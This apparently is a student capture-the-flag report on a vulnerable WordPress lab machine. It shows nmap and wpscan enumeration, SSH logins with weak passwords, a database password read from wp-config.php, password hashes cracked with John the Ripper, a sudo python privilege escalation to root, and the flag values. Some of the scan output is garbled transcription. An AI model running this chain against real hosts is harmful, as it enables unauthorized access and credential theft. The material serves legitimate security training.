Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

Command: nmap -sV 192.168.1.110

```
root@Kali:-# nmap -sV 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-05 10:30 PST
Nmap scan report for 192.168.1.1
Host is up (0.00075 latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
139/tcp open msrpc Microsoft Windows RPC
139/tcp open microsoft-dss:
445/tcp open microsoft-dss:
2179/tcp open wirdor?
2389/tcp open ms-wbt-server Microsoft Terminal Services
MAC Address: 00:15:5D:00:04:00 (Microsoft)
Service Info: O5: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.100
Host is up (0.0012s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open sh openSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9200/tcp open http Elasticsearch REST API 7.6.1 (name: elk; cluster: elasticsearch; Lucene 8.4.0)
MAC Address: 4C:EB4.220:250:70 (Intel Corporate)
Service Info: O5: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.105
Host is up (0.00083s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open sh openSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open sh openSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open sh openSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open sh openSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open sh openSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open sh openSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux, kernel
```

```
Nmap scan report for 192.168.1.110
Host is up (0.0012s latency).
Not shown: 995 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp open http Apache httpd 2.4.10 ((Debian))

111/tcp open reptbind 2-4 (RPC #100000)

113/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

MAC Address: 00:15:55):00:04:10 (Microsoft)

Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.115
Host is up (0.0012s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp open http Apache httpd 2.4.10 ((Debian))

111/tcp open reptbind 2-4 (RPC #100000)

113/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

MAC Address: 00:15:55):00:04:11 (Microsoft)

Service Info: Host: TARGET2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.90
Host is up (0.0000000 latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.1p1 Debian 5 (protocol 2.0)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 256 IP addresses (6 hosts up) scanned in 28.84 seconds

root@Kalli:-# ■
```

This scan identifies the services below as potential points of entry:

Target 1

Port 22: Open SSH
Port 80: Open HTTP
Port 111: Open rcpbind
Port 139: Open netbios-ssn
Port 445: Open netbios-ssn

The following vulnerabilities were identified on each target:

Target 1

- User Enumeration using wpscan
- Weak Usernames and passwords
- Improper configuration of privileges for root access

```
] http://192.168.1.110/wordpress/readme.html
Found By: Direct Access (Aggressive Detection)
Confidence: 100%
[*] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).
Found By: Emoji Settings (Passive Detection)
- http://192.168.1.110/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.7'
Confirmed By: Meta Generator (Passive Detection)
- http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.7'
[i] The main theme could not be detected.
[+] michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Sat Mar 5 10:56:27 2022
[+] Requests Done: 26
root@Kali:~# wpscan --url 192.168.1.110/wordpress
            WordPress Security Scanner by the WPScan Team
Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[+] URL: http://192.168.1.110/wordpress/
[+] Started: Sat Mar 5 10:55:15 2022
Interesting Finding(s):
[+] http://192.168.1.110/wordpress/
Interesting Entry: Server: Apache/2.4.10 (Debian)
Found By: Headers (Passive Detection)
Confidence: 100%
    http://192.168.1.110/wordpress/xmlrpc.php
Found By: Direct Access (Aggressive Detection)
Confidence: 100%
     References:
```

http://codex.wordpress.org/XML-RPC_Pingback_API
 https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos

```
root@Kali:~# ssh michael@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T630xqkEIR39pia35oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.110' (ECDSA) to the list of known hosts.
michael@192.168.1.110's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@target1:~$
```

```
michael@target1:/$ mysql -u root -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 54
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 9 13:25:43 2022 from 192.168.1.90
$ sudo -l
Matching Defaults entries for steven on raven:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin
User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# cd /
root@target1:/# ls
                    lib
                                       media proc sbin tmp
mnt root srv usr
opt run sys vagi
bin etc
boot home
                                                                             var
                                                                             vmlinuz
                       lib64
       initrd.img lost+found opt
                                                                vagrant
```

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

Flag 1:

• I used 'ssh michael@192.168.1.110' to login as michael and since he had "michael" as his password it was easy to gain access.

• I then ran 'grep -rnw '/' -e 'flag1' 2>/dev/null' this command allowed me to retrieve flag 1 as shown in the screenshot above.

Flag 2:

```
michael@target1:/$ find / -iname flag* 2>dev/null
/var/www/flag2.txt
/usr/lib/python2.7/dist-packages/dns/flags.pyc
/usr/lib/python2.7/dist-packages/dns/flags.py
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/sys/devices/pnp0/00:03/tty/tty50/flags
/sys/devices/pnp0/00:03/tty/tty50/flags
/sys/devices/platform/serial8250/tty/tty53/flags
/sys/devices/platform/serial8250/tty/tty52/flags
/sys/devices/platform/serial8250/tty/tty52/flags
/sy
```

• I used the same ssh session to find flag 2 however I used the find command as shown above. 'find / -iname flag* 2>/dev/null'.

Flag 3:

```
/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

michael@target1:/$ mysql =u_root_=nR@v3nSecurity
```

```
michael@target1:/$ mysql -u root -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 54
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

```
As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin/">your dashboard</a> to delete th is page and create new pages for your content. Have fun! Sample Page | publish | closed | open | sample-page | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | 0 | page | | 0 | | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccf93122770cd2}

| 4 | 1 | 2018-08-13 01:48:31 | open | open | flag3 | flag3 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | 0 | http://raven.local/wordpress/?p=4 | 0 | post | 0 | http://raven.local/wordpress/?p=4 | 0 | post | 0 | flag4{715dea6c055b9fe3337544932f2941ce}
```

Flag 3 was found in the MySQL database. I traversed the database until I found it in the
wp_posts directory. I found the login credentials in the wp-config.php file. The credentials
were out in the open, unencrypted and labeled as shown in the first screenshot. That is
extremely insecure and anyone who has access to michael's account could have access
to these credentials. I logged in to the MySQL database using this command: 'mysql -u
root -pR@v3nSecurity'.

Flag 4:

```
mysql> select * from wp_users;

| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |

| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | 2018-08-12 22:49:12 |

| 0 | michael | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org | 2018-08-12 23:31:16 |

| 2 | rows in set (0.00 sec)
```

```
root@Kali:~# nano wp_users.txt
root@Kali:~# john wp_users.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:07:48 3/3 0g/s 3996p/s 7992c/s 7992c/s brannana..broopopo
0g 0:00:07:49 3/3 0g/s 3998p/s 7994c/s reantin..creake14
0g 0:00:07:55 3/3 0g/s 3998p/s 7994c/s 7994C/s creantin..creake14
0g 0:00:07:55 3/3 0g/s 3998p/s 7998c/s 7998c/s langlum..lanel13
0g 0:00:11:12 3/3 0g/s 3998p/s 7997c/s 7997c/s laramb1..larra09
0g 0:00:11:16 3/3 0g/s 3998p/s 7997c/s 7997c/s listail..listup2
pink84 (?)
```

• I first started by putting the hashes I found in the MySQL database for users Steven and Michael (screenshot 1) in a file, I then used john to crack the hashes in the files I created using 'john wp_users' (screenshot 2). After finding out Steven's password is pink84 I ssh in as steven using 'ssh steven@192.168.1.110' (screenshot 3) I then escalated myself to root using 'sudo python -c 'import pty;pty.spawn("/bin/bash")' a ran a Find command 'find / -iname flag4.txt' and found flag 4 (screenshot 4).